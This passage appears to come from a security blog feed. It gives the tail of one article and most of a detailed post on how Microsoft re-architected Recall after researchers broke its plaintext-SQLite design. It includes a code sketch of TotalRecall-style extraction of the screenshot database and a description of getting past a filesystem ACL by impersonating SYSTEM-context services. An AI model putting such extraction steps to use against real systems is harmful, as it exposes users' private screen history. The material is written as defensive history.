load. See section 4.3. No. PatchGuard prevents in-kernel patching of protected kernel structures by other in-kernel code. It does nothing about a signed, KMCS-trusted, third-party driver loading malformed configuration data into a kernel-resident process -- the CrowdStrike Channel File 291 pattern [@crowdstrike-rca-pdf]. The vendor's own data pipeline is the failure surface PatchGuard was never designed to cover. See section 4.3. The honest answer: SFI has produced measurable deliverables on identity and signing-key custody. The April 2025 report quantifies the identity-SDK validation lift from 73% to 90%, the MSA signing-key move to hardware-backed security modules with automatic rotation, and the MSA signing service migration to Azure Confidential VMs [@sfi-apr-2025]. The September 2024 report formalizes the executive-compensation tie-in [@sfi-sept-2024]. Whether the same compounding occurs on the supply-chain and human-OPSEC axes is the open empirical question. The institutional change is real; whether it durably shifts the security culture is still being measured. See sections 4.1 and 9. No. Pluton can be used *as* a TPM or *with* a discrete TPM. The configuration is OEM-determined and per-SKU [@pluton-docs]. "Pluton present" is not the same as "Pluton acting as TPM"; confirm via `Get-Tpm` and BIOS toggle inspection. See section 4.5. No. SQL Server 2019 Always Encrypted with secure enclaves, generally available November 4, 2019, is the substrate precedent [@sql-always-encrypted-enclaves]. The correct narrower claim is that Recall is the first VBS-Enclave deployment in the Windows desktop shell to face sustained adversarial review by named external researchers. See section 4.2.

Key idea: The 2023-2026 era is the first in NT's history in which the layer above the OS -- the institution's own identity-token custody, the third-party kernel-mode security vendor, and the AI feature application plane -- became the load-bearing security boundary under public scrutiny while the OS layer kept hardening. SFI, WESP, the Recall Generation-3 architecture, and the April 14, 2026 Cross-Signing trust deprecation are Microsoft's first sustained engineering re-architecture of all three soft spots in parallel. Whether the response lands in time for the 2026 ransomware wave is the open forward question of Part 7.

The 2006-2009 EU-engagement settlement was an honest engineering compromise of its time -- the AV industry needed a sanctioned kernel path; Microsoft needed PatchGuard not to be antitrust-actionable; customers needed both. The compromise survived eighteen years because the failure mode the era worried about was the malicious kernel-resident driver, and KMCS plus the Vulnerable Driver Blocklist eventually contained that mode. What it never tested was a non-malicious data-parsing bug in a sanctioned, signed driver at fleet scale. The morning of July 19, 2024 ran that test once. The verdict came in twenty bytes.

"The Vault is Solid. The Delivery Truck is Not." -- Microsoft Recall's Two-Year Re-Architecture from Plaintext SQLite to VBS Enclaves

noreply@paragmali.com (Parag Mali) — Tue, 19 May 2026 00:00:00 GMT

In May 2024 Microsoft shipped Recall as a plaintext SQLite database guarded only by a SYSTEM-only filesystem ACL. Three independent researchers -- Kevin Beaumont, James Forshaw, and Alexander Hagenah -- broke it in four weeks. The September 27, 2024 re-architecture moved every sensitive operation into a VBS Enclave, sealed the master key with TPM 2.0, gated each access on a fresh Windows Hello biometric, and filtered credentials with Microsoft Purview Exact Data Match before persistence. It is the cleanest available case study of Pluton, VBS, the Secure Kernel, Hello ESS, and Purview composing into one feature. One seam remains: the non-enclave UI host that Hagenah's April 2026 TotalRecall Reloaded exploits, restating the original threat-model limit at a different layer.

1. The Script That Did Not Ship

On June 5, 2024 -- thirteen days before Microsoft Recall was scheduled to ship on Copilot+ PCs -- a Swiss security researcher named Alexander Hagenah pointed a fifty-line Python tool at the directory C:\Users\<user>\AppData\Local\CoreAIPlatform.00\UKP\ and pulled every screenshot Windows had taken of his desktop for the previous day in two seconds [@rec-19] [@rec-20]. The database was a plaintext SQLite file. The screenshots were plaintext PNGs. Microsoft Defender for Endpoint, monitoring an off-the-shelf information-stealer running in the same user context, took roughly ten minutes to react -- by which time the Recall data was gone [@rec-19] [@rec-15].

Hagenah called the tool TotalRecall and committed it to GitHub the same day [@rec-13]. His own description of what it did, as quoted by Malwarebytes Labs: "The database is unencrypted. It's all plain text. Pulling one day of snapshots took two seconds at most" [@rec-20]. His description of why he released it, as quoted by Help Net Security: "They should know it can be dangerous" [@rec-19].

This is the script that did not ship. Why it did not ship is the entire rest of this article.

Note: The code in the snippet below is the logic of a TotalRecall-style extractor against the May 20, 2024 Recall preview. It is a JavaScript transcription of a PowerShell or Python operation that would have worked against an unencrypted SQLite file in a known directory. The June 7, 2024 delay-and-recommit announcement [@rec-02] withdrew that design before broad release; the September 27, 2024 re-architecture [@rec-03] replaced it. The block exists to teach the historical failure, not to provide a runnable attack against the shipping product.

{` // Simulated extraction logic. Models the May 2024 Recall preview behaviour: // plaintext SQLite at a known user-profile path, plaintext PNGs alongside it. // The September 2024 re-architecture replaced both the storage format // and the trust model. This is a teaching example only.

const recallDir = String.raw`C:\Users\\AppData\Local\CoreAIPlatform.00\UKP`; const databaseFile = `${recallDir}\\ukg.db`; const imageStore = `${recallDir}\\ImageStore`;

// Step 1: Copy the SQLite file and the PNG cache out of the profile. // In the original preview, a same-user process could read both without // elevation, because the only protection was a SYSTEM-context filesystem ACL // that Forshaw demonstrated was bypassable from the user's own context. function exfiltrate() { copyRecurse(recallDir, '/tmp/recall_dump'); // Step 2: open the SQLite file with any client and select the OCR'd text. const ocr = openSqlite(databaseFile); return ocr.query('SELECT c1, c2 FROM WindowCaptureTextIndex_content'); }

// Step 3: every PNG in ImageStore is a snapshot of the desktop, named by // the integer key the SQLite row uses to join. No decryption needed in // the May 2024 preview. console.log('Recall data size:', exfiltrate().length, 'rows'); console.log('Time elapsed (Hagenah measurement): ~2 seconds'); console.log('Defender remediation latency (Beaumont measurement): ~10 minutes'); `}

The audit cast that turned the May 20 announcement into the June 7 retreat had three named protagonists. Kevin Beaumont, writing on his DoublePulsar blog on May 30, framed the threat model: Recall was a high-value secret store on a live, logged-on system, and the dominant live-system adversary was user-context malware, not offline disk theft [@rec-15] [@rec-19] [@rec-16]. James Forshaw, an active Google Project Zero researcher, published Working your way Around an ACL on June 3, demonstrating that the SYSTEM-only filesystem ACL Microsoft had relied on as a same-user isolation boundary was not in fact a boundary [@rec-14]. Hagenah's TotalRecall, posted June 5, turned Beaumont's framing and Forshaw's filesystem-ACL bypass into a runnable artifact [@rec-13] [@rec-19].

Each was load-bearing. Without any one of them, Microsoft's June 7 delay-and-recommit blog [@rec-02] could not have landed where it did, when it did.

What was Microsoft trying to do, that this script could undo?

2. The Four-Week Public Security Audit

Recall was supposed to be the marquee Copilot+ PC feature. Satya Nadella and Yusuf Mehdi previewed it at the Microsoft campus event on May 20, 2024, as one of three launch-exclusive AI experiences alongside Live Captions and Cocreator [@rec-01]. The hardware story was unusual: every Copilot+ PC would ship with Microsoft Pluton enabled by default, on Snapdragon X Elite or X Plus silicon, starting at $999, with broad GA scheduled for June 18 [@rec-01]. Recall would not appear on Intel or AMD Copilot+ PCs at launch, only on the Snapdragon silicon that defined the category.

Twenty-eight days later, the June 18 GA target was gone. Here is what happened in those four weeks.

An information-stealer is a class of malware whose purpose is to enumerate and exfiltrate browser-saved credentials, session cookies, password manager databases, cryptocurrency wallets, and other user-accessible secret stores from a logged-on Windows session. Modern variants (RedLine, Vidar, LummaC2) ship as commodity components in malware-as-a-service marketplaces. Beaumont's structural point about Recall was that adding a new high-value local store to the InfoStealer target list trivially extends an existing economic market; no novel attack capability is required.

May 30, 2024 -- Beaumont names the threat model

Kevin Beaumont's post on DoublePulsar opened with a sentence Microsoft never fully recovered from: "Recall enables threat actors to automate scraping everything you've ever looked at within seconds" [@rec-15] [@rec-19]. His structural point was that BitLocker addresses the wrong half of the threat model for a feature like Recall. BitLocker protects data at rest against an offline adversary who picks up a powered-off laptop; it does nothing against a logged-on user whose machine is running an information-stealer in the same session. Recall, by storing months of OCR'd screenshots in a user-readable directory, was not a target adjacent to the InfoStealer marketplace -- it was the new high-value target inside it.

Beaumont also published a measurement: in his test against Defender for Endpoint, the InfoStealer was detected, but automated remediation took roughly ten minutes to fire. By then his Recall extraction script had already finished [@rec-19] [@rec-15]. The asymmetry mattered. Defender's behavioural rules were calibrated against years of stealing browser cookies, not against the sudden appearance of a brand-new bulk-capture corpus that an attacker would race to exfiltrate first.

Recall enables threat actors to automate scraping everything you've ever looked at within seconds. -- Kevin Beaumont, DoublePulsar, May 30, 2024 [@rec-15] [@rec-19]

June 3, 2024 -- Forshaw publishes the ACL bypass

Three days later, James Forshaw of Google Project Zero published Working your way Around an ACL on Tyranid's Lair [@rec-14]. The post was not nominally about Recall; it was a methodological piece on how a same-user, non-elevated process could escalate to SYSTEM-context file access by impersonating SYSTEM-context services that handle user-supplied input. The worked example was C:\Program Files\WindowsApps, with a footnote linking to a Mastodon thread by Albacore noting that the Recall database directory had a structurally similar ACL.

Forshaw's epigrammatic conclusion -- "any privilege escalation (or non-security boundary cough) is sufficient to leak the information" -- captured the structural critique [@rec-14]. The asterisks around non-security boundary pointed at the MSRC servicing criteria [@rec-11]: Microsoft's own published policy says that UAC and admin-to-kernel transitions are not security boundaries. If those are not boundaries, and the SYSTEM-only filesystem ACL on the Recall directory was the only thing standing between a same-user process and the database, then there was no boundary at all.

June 5, 2024 -- Hagenah commits TotalRecall

Hagenah's tool turned the framing into an artifact [@rec-13] [@rec-19] [@rec-20]. The first README, preserved on the Wayback Machine, characterised Recall as "a 'privacy nightmare'" and noted matter-of-factly that the database was an unencrypted SQLite file readable in two seconds [@rec-13] [@rec-20]. Hagenah's stated motive, via Help Net Security: "They should know it can be dangerous" [@rec-19]. The "they" in that sentence was both the Microsoft engineering team that built the original design and the broader user base about to receive it.

flowchart LR A["May 20
Nadella + Mehdi
Copilot+ launch
Recall previewed"] --> B["May 30
Beaumont
threat-model framing"] B --> C["June 3
Forshaw
SYSTEM ACL bypass"] C --> D["June 5
Hagenah
TotalRecall PoC"] D --> E["June 7
Davuluri
delay + recommit"] E --> F["June 13
Recall removed
from June 18 GA"]

June 7, 2024 -- Davuluri retreats and recommits

Pavan Davuluri -- promoted to President of Windows + Devices on March 26, 2024 -- published the delay-and-recommit blog on June 7 [@rec-02].Wired's coverage of the same announcement referred to Davuluri as "Microsoft's corporate vice president for Windows and devices" [@rec-16]. That was his prior title; the President of Windows + Devices appointment had been announced ten weeks earlier. Most outlets had not yet updated their style sheets, which is the small reason you may have seen two different titles in the same week's coverage. Three commitments anchored the post: Recall would be opt-in at setup rather than on by default ("If you don't proactively choose to turn it on, it will be off by default"); Hello Enhanced Sign-in Security would gate access to stored snapshots; and decryption would happen "just in time," only when the user authenticated [@rec-02].

The Insider rollout was promised, then slipped on August 21 and again on October 31, before finally landing in November. These three properties did not yet have a mechanism. The mechanism would arrive on September 27. But the commitment came first, in plain English, on June 7 -- and it was the commitment that bought the engineering team the time to design the architecture that would honour it.

Three commitments without a mechanism. What was the mechanism going to be?

3. What the Original Recall Design Was Trying

Microsoft did not ship Recall in May 2024 because they thought encryption was unnecessary. They shipped it because they thought the protections they already had were sufficient. Four assumptions. Each one was load-bearing, and each one was wrong.

Before naming them, it is worth crediting what the original design got right, because that commitment survived the re-architecture intact. The data flow was on-device only. Snapshots, OCR'd text, and the local semantic index never traversed the Microsoft Diagnostic Data telemetry pipeline; nothing left the device by design [@rec-01]. That property is preserved in the Generation 3 architecture [@rec-03] and is reiterated in the IT administrator documentation [@rec-08]. The original engineering team did not get the privacy framing wrong as a category. They got the isolation framing wrong.

BitLocker is the Windows full-volume encryption feature. Its threat model is offline disk theft: an adversary who removes a powered-off laptop's storage and tries to read its contents on another machine encounters AES-XTS-encrypted blocks instead of plaintext files. BitLocker is transparent when the device is powered on and the user is logged in; it does not authenticate any individual file access against the running operating system. Beaumont's structural point in §2 was that BitLocker's threat model and Recall's threat model do not overlap: Recall's adversary is a process running in the live, logged-on session. The Data Protection API is the Windows user-mode interface for protecting per-user secrets with a key derived from the user's logon credentials. Browsers historically used DPAPI to protect saved-credential databases; the well-known weakness is that any process running as the user can call `CryptUnprotectData` against the same files and get plaintext back. DPAPI did *not* appear in the original Recall design -- the pre-audit framing that imagined Recall as "DPAPI used incorrectly" was a misreading. The actual original Recall stored a plaintext SQLite file under filesystem ACLs alone, as Hagenah's tool demonstrated [@rec-20] [@rec-19]. The September 2024 re-architecture also does not use DPAPI; it uses TPM-sealed master keys released to a VBS Enclave on Hello ESS authentication [@rec-03].

Assumption 1: The SYSTEM-only filesystem ACL is a same-user isolation boundary

The directory C:\Users\<user>\AppData\Local\CoreAIPlatform.00\UKP\ was protected by an ACL that permitted SYSTEM to read and write, and denied the logged-on user direct access. The original design treated this as an isolation boundary between user-context code and the Recall database. Forshaw's June 3 post refuted this directly [@rec-14]: a same-user process can obtain SYSTEM-context file access by impersonating a SYSTEM-context service that handles user-supplied input. The technique is generic, well documented in the Tyranid's Lair archive, and predates Recall by years. Once Forshaw published the worked example, the original ACL stopped looking like a boundary and started looking like a speed bump.

Assumption 2: BitLocker-at-rest is sufficient because the live system is trusted for the logged-on user

The original team assumed that an attacker against Recall data would necessarily be either (a) an offline adversary with physical possession of the powered-off disk -- defeated by BitLocker -- or (b) an attacker with administrator access -- out of scope per the MSRC servicing criteria [@rec-11]. Beaumont demolished this by pointing at a third class: an in-session, user-context InfoStealer that is already common, already on the InfoStealer-as-a-service price list, and trivially extensible to dump a new SQLite file [@rec-15] [@rec-19]. BitLocker's threat model and Recall's threat model did not overlap; assuming they did was the mistake.

Assumption 3: Defender's automated remediation will outrun InfoStealer exfiltration

Even granting the existence of in-session adversaries, the original assumption was that Defender for Endpoint's behavioural detection would catch them before they finished. Beaumont's measurement said otherwise: the InfoStealer was detected, but automated remediation took roughly ten minutes to land, by which point the exfiltration of a Recall snapshot directory had finished in two seconds [@rec-19] [@rec-15]. The asymmetry was not a Defender bug; it was a category problem. Defender's response is calibrated for the historical InfoStealer corpus (browser cookies, credential databases); a new bulk corpus introduces a race the existing rules were not tuned for.

Assumption 4: Same-user, administrator-level access is not a security boundary anyway

This last assumption is technically correct, per the MSRC servicing criteria [@rec-11]. UAC, admin-to-kernel, and same-user post-authentication are documented non-boundaries. The argument goes: if a feature is "in the user's trust boundary" -- any code running as the user can access it -- then any attacker who is already running as the user has by definition already won. The feature has nothing further to defend.

The trouble is that the demonstrated Recall attacks did not require admin. Beaumont's testing and Forshaw's ACL impersonation both operated from standard-user context [@rec-15] [@rec-14]. "Same-user attacks are out of scope" is a different statement from "attacks that succeed without elevation are out of scope," and the original Recall design conflated the two.The Malwarebytes coverage of Hagenah's tool described the attack as requiring "administrator rights" [@rec-20]. This was an overstatement -- Beaumont and Forshaw both established that admin was not required. Subsequent coverage in Help Net Security used the stricter framing [@rec-19].

Key idea: Same-user code is in the user's trust boundary unless the architecture explicitly authenticates per-access. A SYSTEM-only filesystem ACL is not authentication; it is access control under an assumption (no impersonation) that the Windows DACL model does not enforce in the user's favour. BitLocker is not authentication either; it is data-at-rest encryption with a key already released by the time the user is logged on. The original Recall design relied on both of these to act like per-access authentication, and neither one was built to do that.

If "same-user code is in the user's trust boundary" was the bug, what does an architecture look like that authenticates per-access?

4. From the June 7 Commitment to the September 27 Architecture

The June 7 retreat named three properties: opt-in, Hello-gated, just-in-time decrypted. The architecture that enforces those properties did not exist on June 7. It existed by September 27, was previewable on November 22, and shipped across Snapdragon, Intel, and AMD between April 25 and May 13, 2025. Here is the path between the commitment and the architecture.

Generation 0: The substrate that already existed

Before Recall, the VBS Enclave primitive was already running in production -- but in a corner of the Windows-server stack that desktop engineers rarely visited. SQL Server 2019 introduced Always Encrypted with secure enclaves on November 4, 2019, almost five years before the Recall preview [@rec-10]. The feature lets a database hold client-encrypted columns and still answer equality and range queries inside an enclave that is part of the sqlservr.exe process but isolated from the rest of it. The Microsoft Learn page for VBS Enclaves cross-links Always Encrypted as a sibling consumer of the primitive [@rec-06].

This matters for two reasons. First, the September 27 architecture did not require Microsoft to invent VBS Enclaves -- the primitive shipped in 2019 and had been stable in production for half a decade by the time Recall reached for it. Second, the original input to this article incorrectly imagined Recall as "the first VBS-enclave product outside the credential set"; the correct claim is narrower. Recall is the first VBS-enclave deployment in the Windows desktop shell to receive sustained adversarial review. SQL Server 2019 is the substrate precedent; Recall is the desktop-shell debut.

Microsoft Pluton is a security processor design that integrates root-of-trust functionality, including TPM 2.0 services, directly into the main system-on-chip rather than on a separate discrete chip on the motherboard. The integration matters because the LPC or SPI bus between a discrete TPM and the CPU is the attack surface used by bus-sniffing attacks; on a Pluton-equipped device that bus does not exist for the security-processor traffic. Microsoft publishes the chipset availability list: AMD Ryzen 6000, 7000, 8000, 9000 and Ryzen AI; Intel Core Ultra 200V, Series 3, Series 3 processors; Qualcomm Snapdragon 8cx Gen 3 and Snapdragon X Series [@rec-24]. Pluton firmware updates ship through Windows Update. A TPM is a tamper-resistant cryptographic processor that holds keys which can be released to the operating system only when a set of preconditions (the values of platform configuration registers, the presence of an authenticated user, the result of an attestation) is met. TPM 2.0 is the version family in current shipment. Recall uses the TPM for *sealing* -- binding the Recall master key to the boot state of the machine and to the identity of the user, so the key cannot be released to a different OS instance or a different user even with full disk access.

Generation 1: The May 20, 2024 design

Already covered in §3. Four assumptions, all wrong; one runnable counter-example (Hagenah's TotalRecall); zero mechanism to make the assumptions right.

Generation 2: The June 7 commitment

The Davuluri blog of June 7 [@rec-02] was not an architecture; it was a set of properties the next architecture would have to enforce. Opt-in is a UX commitment; Hello-gated is a credential commitment; just-in-time decryption is a key-management commitment. Each one rules out a class of approach -- opt-in rules out silent default-on; Hello-gated rules out a key that can be read without biometric attestation; just-in-time rules out a long-lived plaintext cache. None of them, taken alone, prescribes a specific design.

Generation 3: The September 27, 2024 architecture

This is the load-bearing announcement. Davuluri's blog [@rec-03] and David Weston's companion SecurityWeek interview [@rec-17] together describe four security and privacy design principles and five architectural components.

The four principles, drawn from Davuluri's blog [@rec-03]:

The user is always in control. Recall is opt-in at setup, with Hello enrolment required before any snapshot capture.
Sensitive data in Recall is always encrypted, and keys are protected. The blog specifies that encryption keys are bound to the TPM, tied to the user's Hello Enhanced Sign-in Security identity, and can only be used by operations inside a VBS Enclave.
Recall services that operate on snapshots and associated data are isolated. Snapshot processing, OCR, semantic embedding, and the sensitive-content filter all run inside the enclave; the on-disk database holds only ciphertext.
Users are present and intentional about the use of Recall. Hello ESS with anti-hammering and rate-limiting governs each authorisation; PIN fallback is permitted only after Hello has been set up.

The five components: Secure Settings, Semantic Index, Snapshot Store, Recall UI, and Snapshot Service [@rec-03]. Davuluri's architecture diagram labels four of them as inside the trust boundary and one of them -- Recall UI -- as explicitly outside it. The line is verbatim: "Recall components such as the Recall UI operate outside the VBS Enclaves and are untrusted in this architecture." That line is the seam §8 will return to.

It's now fully encrypted, and tied to the user's physical presence. -- David Weston, CVP Enterprise and OS Security, in conversation with Ryan Naraine [@rec-17]

The composition is not novel cryptography. The novelty is the layering: VBS Enclaves (Generation 0 substrate), TPM-2.0 key sealing (a primitive Windows has shipped since 2012), Hello ESS (an attestation primitive cataloged on Microsoft Learn since the Windows 11 launch [@rec-25]), and Microsoft Purview Exact Data Match filtering (a content-classification primitive previously seen in the Microsoft Purview enterprise product) compose into a single user-facing feature. Each layer was already production-stable; the September 27 design wires them together.

First observable build and broad rollout

The first observable build of Generation 3 was Insider Dev Channel Build 26120.2415 on Snapdragon Copilot+ PCs, KB5046723, released November 22, 2024 [@rec-04] [@rec-18]. The first-run experience in that build asks the user to opt in to saving snapshots and to enrol Windows Hello [@rec-04]. Build 26120.2510 (December 6, 2024) extended Insider preview to AMD and Intel Copilot+ PCs. GA across all three silicon vendors landed in the April 25, 2025 Windows Experience Blog announcement [@rec-05], with broad rollout in the May 13, 2025 Patch Tuesday cycle [@rec-21]. The IT-admin manageability surface -- AllowRecallEnablement, DisableAIDataAnalysis, snapshot-retention policy, disk-allocation policy, per-app exclusion list -- is documented in Manage Recall on Microsoft Learn [@rec-08].

flowchart TD G0["Gen 0 (Nov 4, 2019)
SQL Server 2019
Always Encrypted with secure enclaves
(VBS Enclave substrate precedent)"] G1["Gen 1 (May 20, 2024)
Plaintext SQLite
SYSTEM-only filesystem ACL
(Did not ship)"] G2["Gen 2 (June 7, 2024)
Opt-in commitment
Hello-gated commitment
Just-in-time decryption
(Commitment, no architecture)"] G3["Gen 3 (Sept 27, 2024)
VBS Enclave + TPM-sealed
Hello ESS + Purview EDM
(Architecture)"] G4["Gen 4 (Apr 25 - May 13, 2025)
GA on Snapdragon, Intel, AMD
Intune surface matured"] G5["Gen 5 (April 2026)
TotalRecall Reloaded
AIXHost.exe DLL injection
(UI seam disclosed)"] G0 --> G1 G1 -- "Plaintext SQLite + filesystem ACL broken in 4 weeks" --> G2 G2 -- "Commitment needs a mechanism" --> G3 G3 -- "Cryptographic chain holds; shipped to GA" --> G4 G4 -- "UI host outside enclave by design" --> G5

The structural takeaway is this. Composing three primitives Microsoft had already shipped -- VBS Enclaves, TPM 2.0 sealing, and Hello ESS -- plus a fourth (Purview EDM filtering) yielded the September 27 architecture that enforces the three June 7 properties. None of the four primitives is new in 2024; the application of all four to a personal-context store running in the desktop shell is.

If "VBS Enclave + TPM-sealed key + Hello ESS" is the answer, what does the inside of the enclave actually do?

5. Inside the Enclave: VBS as the Load-Bearing Primitive

Microsoft's own September 27 architecture diagram draws five boxes. One of them is labelled untrusted. Here is what the other four do, and why the untrusted one matters.

A Virtualization-based Security (VBS) Enclave is, in Microsoft's own words on the Learn page that defines the primitive, "a software-based trusted execution environment inside the address space of a host application" [@rec-06]. Concretely, it is a sub-region of a normal user-mode (VTL0) process that is promoted to VTL1 by the Secure Kernel. Code inside the enclave can see its own memory and the bytes the host explicitly passes in across the enclave boundary; the host process cannot see plaintext inside the enclave, and neither can the rest of the operating system, including the kernel and any administrator. The primitive requires VBS and HVCI to be enabled, and Windows 11 Build 26100.2314 or later [@rec-06]. The Windows hypervisor partition that hosts VBS divides each running guest into two virtual trust levels: VTL0 (normal user mode and kernel) and VTL1 (Isolated User Mode and the Secure Kernel). The Secure Kernel is a minimal, signed component that runs in VTL1; it is what enforces the isolation guarantee between VTL0 and VTL1. Code in VTL0 cannot read VTL1 memory; the hypervisor enforces this at the second-level page table. The VBS Enclave primitive uses VTL1 as the substrate for the enclave sub-region. Enhanced Sign-in Security, per the canonical Microsoft Learn definition, "provides an additional level of security to biometric data with the use of specialized hardware and software components. Virtualization Based Security (VBS) and Trusted Platform Module 2.0 are used to isolate and protect user's authentication data, and to secure the data communication channel" [@rec-25]. The face-matching algorithm runs in VBS; the sensor-to-algorithm path is an isolated, certificate-authenticated channel. ESS-capable IR cameras and presence sensors are a hardware prerequisite; absent ESS hardware, Recall degrades to a PIN/password fallback.

The five components

Snapshot Service is a Protected Process Light (PPL) that captures the screen at approximately 5-second intervals and feeds the raw frames into the enclave. PPL means the Snapshot Service is signed at a level the rest of user mode cannot inject into. Plaintext frames and per-snapshot keys do not live in the Snapshot Service's address space; they cross into the enclave immediately on capture.
VBS Enclave is the trust boundary. Inside it: OCR over the raw frame; semantic vector embedding for search; sensitive-content filtering via the Microsoft Purview Exact Data Match libraries; per-snapshot key derivation from a TPM-sealed master; AES-256-GCM authenticated encryption of the snapshot and the embedding. Plaintext OCR output never crosses the enclave boundary.
Snapshot Store is the on-disk database of AES-256-GCM-encrypted per-snapshot blobs and encrypted embeddings. No process -- not even the Snapshot Service that wrote the file, not the kernel, not an administrator -- can decrypt the blobs without going back through the enclave with a Hello-authenticated session grant [@rec-03].
Semantic Index is the query path over the encrypted embeddings. A user query traverses the enclave so that the plaintext embedding (and the plaintext OCR text it points at) never leaves the trust boundary.
Recall User Experience (UI) runs outside the enclave. Microsoft's architecture diagram labels it untrusted. The UI receives only data the enclave has authorised for the current session, after Hello ESS, with a timeout, with anti-hammering and rate-limiting on the authorisation window [@rec-03].

AES-256-GCM is the Galois/Counter Mode of operation for AES with a 256-bit key, specified by NIST SP 800-38D [@rec-26]. It is an authenticated encryption with associated data (AEAD) primitive: each ciphertext carries an authentication tag computed over the ciphertext and the associated data, and decryption fails if the tag does not verify. Recall uses AES-256-GCM per snapshot, with a per-snapshot key derived inside the enclave. The published architecture identifies AES-256-GCM as the primitive but does not document the key derivation function or the per-snapshot nonce scheme. Purview EDM is a content-classification primitive from the Microsoft Purview enterprise data-loss-prevention product family. It matches text against high-precision patterns: structured credentials, national-identifier formats (US Social Security Numbers, EU identifier formats), payment card numbers under Luhn checksum. In Recall, the EDM library runs inside the enclave on the OCR output, *before* the per-snapshot encryption step. Matches are excluded from the persistent record; the screenshot of a credit-card form has the card number stripped from the OCR text and (per Weston's framing in SecurityWeek) is treated as a sensitive class that does not enter the snapshot store [@rec-17]. flowchart TD SS["Snapshot Service
PPL, VTL0
captures every ~5s"] ENC["VBS Enclave (VTL1 sub-region)
OCR + embedding
Purview EDM filter
per-snapshot key derivation
AES-256-GCM encrypt"] STORE["Snapshot Store
on-disk
AES-256-GCM ciphertext only"] IDX["Semantic Index
encrypted embeddings"] UI["Recall UI
(VTL0, UNTRUSTED in architecture)"] HELLO["Hello ESS
per-access biometric"] TPM["TPM 2.0
sealed master key"] SS --> ENC TPM --> ENC HELLO --> ENC ENC --> STORE ENC --> IDX STORE --> ENC IDX --> ENC ENC -- "post-auth release" --> UI

The per-snapshot key chain

Davuluri's blog specifies the chain but does not publish either the key derivation function used to expand the TPM-sealed master into a per-snapshot key, or the per-snapshot nonce scheme fed into AES-256-GCM. The pseudocode below reconstructs the structure from the published primitives. Microsoft has not published the literal KDF or nonce scheme; this is the shape of the computation, not the verbatim source.

Reconstructed sketch of the enclave-side write path. Microsoft has published the primitives (TPM 2.0 sealing, Hello ESS gating, VBS Enclave isolation, AES-256-GCM per snapshot, Purview EDM filtering) but has NOT published the literal KDF or nonce scheme. This is a structural reconstruction for teaching purposes.

def enclave_write_snapshot(raw_frame, snapshot_id): # Step 1: in-enclave OCR over the raw screen capture. ocr_text = enclave_ocr(raw_frame)

# Step 2: Purview EDM filter strips known-sensitive patterns
# (credentials, national IDs, PAN) BEFORE persistence.
filtered_text = purview_edm_filter(ocr_text)

# Step 3: semantic embedding for the search index.
embedding = enclave_embed(filtered_text)

# Step 4: derive a per-snapshot key from the TPM-sealed master.
# The master was released into the enclave on Hello ESS authentication.
snapshot_key = kdf(master_key_in_enclave,
                   context=b"recall-snapshot",
                   salt=snapshot_id)

# Step 5: AES-256-GCM authenticated encryption with a fresh nonce.
nonce = derive_nonce(snapshot_id)
aad   = serialize_metadata(snapshot_id, timestamp=now())
ciphertext, tag = aes_256_gcm_encrypt(
    snapshot_key,
    nonce,
    plaintext=concat(raw_frame, filtered_text, embedding),
    aad=aad,
)

# Step 6: persistent write. Nothing plaintext crosses the enclave boundary.
snapshot_store.put(snapshot_id, ciphertext, tag, nonce, aad)

The Hello ESS layer plugs in at step 4: the TPM-sealed master is released into the enclave only on a fresh, ESS-attested authentication, and the release path uses the certificate-authenticated sensor-to-VBS channel described on the Hello ESS Learn page [@rec-25]. Failed authentication trips the standard TPM anti-hammer lockout. PIN fallback is permitted only after Hello has been set up.

sequenceDiagram participant User participant Sensor as Hello ESS sensor participant SK as Secure Kernel (VTL1) participant TPM as TPM 2.0 participant Encl as Recall VBS Enclave (VTL1) participant Store as Snapshot Store User->>Sensor: present face / fingerprint Sensor->>SK: ESS-authenticated biometric attestation SK->>TPM: request key release on attested context TPM->>SK: sealed master key (released to VTL1 only) SK->>Encl: hand master key into enclave Encl->>Encl: derive per-snapshot key, AES-256-GCM encrypt Encl->>Store: ciphertext + AEAD tag + nonce Microsoft's documentation distinguishes two patterns that share the same VTL1 substrate. A *VBS Enclave* is a sub-region of a VTL0 host process that is promoted to VTL1 by the Secure Kernel [@rec-06]. An *[IUM Trustlet](/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/)* (like LsaIso, the Credential Guard worker) is a full Isolated User Mode process that runs wholly in VTL1. Both rely on the same hypervisor partition and the same Secure Kernel. The terminology matters because the September 27 architecture blog [@rec-03] and the developer-facing Tech Community explainer [@rec-07] both use *VBS Enclave* throughout for Recall, distinct from LsaIso. The pre-audit framing that called Recall "a new IUM trustlet" was a category mistake; the architecture is a sub-region-of-host-process enclave, not a full trustlet process. Both patterns are governed by the MSRC security boundary policy [@rec-11], which lists VBS as a boundary against the kernel and against administrative users. VBS Enclaves are not new -- SQL Server 2019 *Always Encrypted with secure enclaves* established the substrate roughly five years before Recall (see §4 Generation 0). What Recall contributes is not the substrate but the deployment context: a personal-context store on the desktop shell, with a UX that puts the trust boundary in front of consumers and an adversarial review history (Hagenah, Beaumont, Forshaw) that no SQL Server feature has attracted. flowchart LR subgraph VBS_Encl["VBS Enclave pattern (Recall)"] H["Host process
(VTL0, e.g. Snapshot Service)"] --- E["Enclave sub-region
(VTL1)"] end subgraph IUM["IUM Trustlet pattern (LsaIso / Credential Guard)"] L["Trustlet process
(entirely in VTL1)"] end SK["Secure Kernel (VTL1)"] HV["Hypervisor partition"] VBS_Encl --> SK IUM --> SK SK --> HV

Davuluri's September 27 blog adds two transparency commitments that bear on how much of this architecture an outside reviewer can verify. First, Microsoft's internal MORSE team (Microsoft Offensive Research and Security Engineering) ran a penetration test of the Generation 3 design before disclosure [@rec-03]. Second, an unnamed third-party security vendor performed an independent review. Neither report is public. §9 will return to this transparency gap.

Key idea: The cryptographic boundary in Generation 3 is above the filesystem. A process with full filesystem access reads only AES-256-GCM ciphertext. A kernel-mode caller reads only ciphertext. An administrator reads only ciphertext. The boundary is at the enclave, not at the file. This is qualitatively different from "add encryption to the SQLite file" and is the reason the Generation 3 design closes the four Generation 1 failures rather than merely patching them.

If the cryptographic chain holds against the kernel and against administrators, where can it ship?

6. Where Recall Ships in May 2026

The post-September-2024 Recall is no longer a preview. Here is the silicon it runs on, the policies an IT admin sees, and the exclusion surfaces a user can configure.

Shipping silicon

The chipset matrix is documented on the Microsoft Pluton Learn page [@rec-24] and corroborated by the GA announcement [@rec-05]. The pattern is consistent: every Copilot+ PC carries TPM 2.0 services, but the attachment of those services varies by silicon vendor.

Silicon family	Security processor	Typical TPM attachment
Qualcomm Snapdragon X Elite / X Plus	Pluton (integrated)	TPM 2.0 services delivered by Pluton on-die
